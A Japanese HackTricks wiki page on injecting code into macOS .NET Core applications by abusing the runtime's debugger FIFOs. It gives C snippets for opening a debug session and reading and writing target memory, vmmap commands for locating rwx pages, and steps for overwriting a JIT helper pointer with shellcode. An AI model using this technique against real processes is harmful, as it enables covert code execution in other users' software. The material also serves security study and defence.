hacktricks/macos-hardening/macos-security-and-privileg.../macos-proces-abuse/macos-.net-applications-inj...

13 KiB
Raw Blame History

macOS .Netアプリケーションのインジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

.NET Coreデバッグ

デバッグセッションの確立

dbgtransportsession.cppは、デバッガからデバッギーへの通信を処理する責任があります。
これは、dbgtransportsession.cpp#L127twowaypipe.cpp#L27を呼び出すことで、.Netプロセスごとに2つの名前付きパイプを作成します1つは**-inで終わり、もう1つは-out**で終わり、残りの名前は同じになります)。

したがって、ユーザーの**$TMPDIRに移動すると、.Netアプリケーションをデバッグするために使用できるデバッグ用のFIFO**を見つけることができます。

関数DbgTransportSession::TransportWorkerは、デバッガからの通信を処理します。

デバッガが最初に行う必要があることは、新しいデバッグセッションを作成することです。これは、.NETのソースから取得できるMessageHeader構造体で始まるoutパイプを介してメッセージを送信することで行われます。

struct MessageHeader
{
MessageType   m_eType;        // Type of message this is
DWORD         m_cbDataBlock;  // Size of data block that immediately follows this header (can be zero)
DWORD         m_dwId;         // Message ID assigned by the sender of this message
DWORD         m_dwReplyId;    // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD         m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD         m_dwReserved;   // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD         m_dwMajorVersion;   // Protocol version requested/accepted
DWORD         m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;

BYTE                    m_sMustBeZero[8];
}

新しいセッションリクエストの場合、この構造体は以下のように設定されます:

static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;

// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;

// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;

// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);

構築が完了したら、write シスコールを使用してこれをターゲットに送信します。

write(wr, &sSendHeader, sizeof(MessageHeader));

以下は、sessionRequestData構造体を送信する必要があります。この構造体には、セッションを識別するためのGUIDが含まれています。

// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));

// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));

セッションリクエストを送信すると、デバッガーセッションのリクエストが成功したかどうかを示すヘッダーをoutパイプから読み取ります。

read(rd, &sReceiveHeader, sizeof(MessageHeader));

メモリの読み取り

デバッグセッションが確立されている場合、MT_ReadMemoryというメッセージタイプを使用して、メモリを読み取ることができます。メモリを読み取るために必要な主なコードは次のとおりです:

bool readMemory(void *addr, int len, unsigned char **output) {

*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}

sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;

// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}

memset(*output, 0, len);

// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}

return true;
}

証明コードPOCこちらで見つけることができます。

メモリの書き込み

bool writeMemory(void *addr, int len, unsigned char *input) {

sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;

// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Write the data
if (write(wr, input, len) < 0) {
return false;
}

// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}

return true;

}

このために使用されるPOCコードはこちらで見つけることができます。

.NET Coreコードの実行

最初に、実行するためのシェルコードを保存するために**rwx**で実行されているメモリ領域を特定する必要があります。これは簡単に次のコマンドで行うことができます:

vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"

次に、実行をトリガーするためには、関数ポインタが格納されている場所を知る必要があります。.NET CoreランタイムがJITコンパイルのためのヘルパー関数を提供するために使用する**Dynamic Function Table (DFT)**内のポインタを上書きすることが可能です。サポートされている関数ポインタのリストは、jithelpers.h内で見つけることができます。

x64バージョンでは、シグネチャハンティングテクニックを使用して、**libcorclr.dll内のシンボル_hlpDynamicFuncTable**への参照を検索することで、これを簡単に行うことができます。次に、この参照をデリファレンスすることができます。

残る作業は、シグネチャ検索を開始するためのアドレスを見つけることです。これには、別の公開されたデバッガ関数**MT_GetDCBを利用します。これにより、ターゲットプロセスに関する有用な情報がいくつか返されますが、私たちの場合は、m_helperRemoteStartAddrというヘルパー関数のアドレスが含まれるフィールドに興味があります。このアドレスを使用することで、ターゲットプロセスのメモリ内にlibcorclr.dllがどこにあるか**を知ることができ、DFTの検索を開始することができます。

このアドレスを知ることで、関数ポインタを私たちのシェルコードで上書きすることが可能です。

PowerShellにインジェクトするために使用される完全なPOCコードは、こちらで見つけることができます。

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥